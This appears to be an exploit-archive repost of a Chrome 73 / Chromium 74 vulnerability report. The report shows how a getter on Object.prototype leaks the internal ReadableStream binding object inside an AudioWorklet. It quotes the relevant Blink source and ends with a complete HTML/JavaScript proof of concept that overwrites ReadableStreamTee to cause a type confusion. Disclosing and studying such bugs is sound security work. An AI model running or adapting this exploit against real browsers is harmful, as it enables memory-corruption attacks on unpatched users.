google chrome 73.0.3683.39 chromium 74.0.3712.0 readablestream internal object leak type confusion
▸▸▸ Exploit & Vulnerability >> dos exploit & multiple vulnerability
<!-- VULNERABILITY DETAILS https://cs.chromium.org/chromium/src/third_party/blink/renderer/bindings/core/v8/initialize_v8_extras_binding.cc?rcl=b16591511b299e0791def0b85dced2c74efc4961&l=90 void AddOriginals(ScriptState* script_state, v8::Local<v8::Object> binding) { // These values are only used when serialization is enabled. if (!RuntimeEnabledFeatures::TransferableStreamsEnabled()) return; v8::Local<v8::Object> global = script_state->GetContext()->Global(); v8::Local<v8::Context> context = script_state->GetContext(); v8::Isolate* isolate = script_state->GetIsolate(); const auto ObjectGet = [&context, &isolate](v8::Local<v8::Value> object, const char* property) { DCHECK(object->IsObject()); return object.As<v8::Object>() ->Get(context, V8AtomicString(isolate, property)) .ToLocalChecked(); }; [...] v8::Local<v8::Value> message_port = ObjectGet(global, "MessagePort"); v8::Local<v8::Value> dom_exception = ObjectGet(global, "DOMException"); // Most Worklets don't have MessagePort. In this case, serialization will // fail. AudioWorklet has MessagePort but no DOMException, so it can't use // serialization for now. if (message_port->IsUndefined() || dom_exception->IsUndefined()) // ***1*** return; v8::Local<v8::Value> event_target_prototype = GetPrototype(ObjectGet(global, "EventTarget")); Bind("EventTarget_addEventListener", ObjectGet(event_target_prototype, "addEventListener")); v8::Local<v8::Value> message_port_prototype = GetPrototype(message_port); Bind("MessagePort_postMessage", ObjectGet(message_port_prototype, "postMessage")); [...] https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=b16591511b299e0791def0b85dced2c74efc4961&l=1044 function ReadableStreamSerialize(readable, port) { // assert(IsReadableStream(readable), // `! IsReadableStream(_readable_) is true`); if (IsReadableStreamLocked(readable)) { throw new TypeError(streamErrors.cannotTransferLockedStream); } if (!binding.MessagePort_postMessage) { // ***2*** throw new TypeError(streamErrors.cannotTransferContext); } const writable = CreateCrossRealmTransformWritable(port); const promise = ReadableStreamPipeTo(readable, writable, false, false, false); markPromiseAsHandled(promise); } A worklet's context might not have the objects required to implement ReadableStream serialization. In that case, |AddOriginals| would exit early leaving the |binding| object partially initialized[1]. |ReadableStreamSerialize| checks if the "MessagePort_postMessage" property exists on the |binding| object to determine whether serialization is possible[2]. The problem is that the check would be observable to a getter defined on |Object.prototype|, which could leak the value of |binding|. VERSION Google Chrome 73.0.3683.39 (Official Build) beta (64-bit) (cohort: Beta) Chromium 74.0.3712.0 (Developer Build) (64-bit) Also, please note that the "stream serialization" feature is currently hidden behind the "experimental platform features" flag. REPRODUCTION CASE The repro case uses the leaked |binding| object to redefine an internal method and trigger a type confusion. --> <body> <h1>Click to start AudioContext</h1> <script> function runInWorket() { function leakBinding(port) { let stream = new ReadableStream; let binding; Object.prototype.__defineGetter__("MessagePort_postMessage", function() { binding = this; }); try { port.postMessage(stream, [stream]); } catch (e) {} delete Object.prototype.MessagePort_postMessage; return binding; } function triggerTypeConfusion(binding) { console.log(Object.keys(binding)); binding.ReadableStreamTee = function() { return 0x4142; } let stream = new ReadableStream; stream.tee(); } class MyWorkletProcessor extends AudioWorkletProcessor { constructor() { super(); triggerTypeConfusion(leakBinding(this.port)); } process() {} } registerProcessor("my-worklet-processor", MyWorkletProcessor); } let blob = new Blob([`(${runInWorket}())`], {type: "text/javascript"}); let url = URL.createObjectURL(blob); window.onclick = () => { window.onclick = null; class MyWorkletNode extends AudioWorkletNode { constructor(context) { super(context, "my-worklet-processor"); } } let context = new AudioContext(); context.audioWorklet.addModule(url).then(() => { let node = new MyWorkletNode(context); }); } </script> </body>
Google chrome 73.0.3683.39 chromium 74.0.3712.0 readablestream internal object leak type confusion Vulnerability / Exploit Source : Google chrome 73.0.3683.39 chromium 74.0.3712.0 readablestream internal object leak type confusion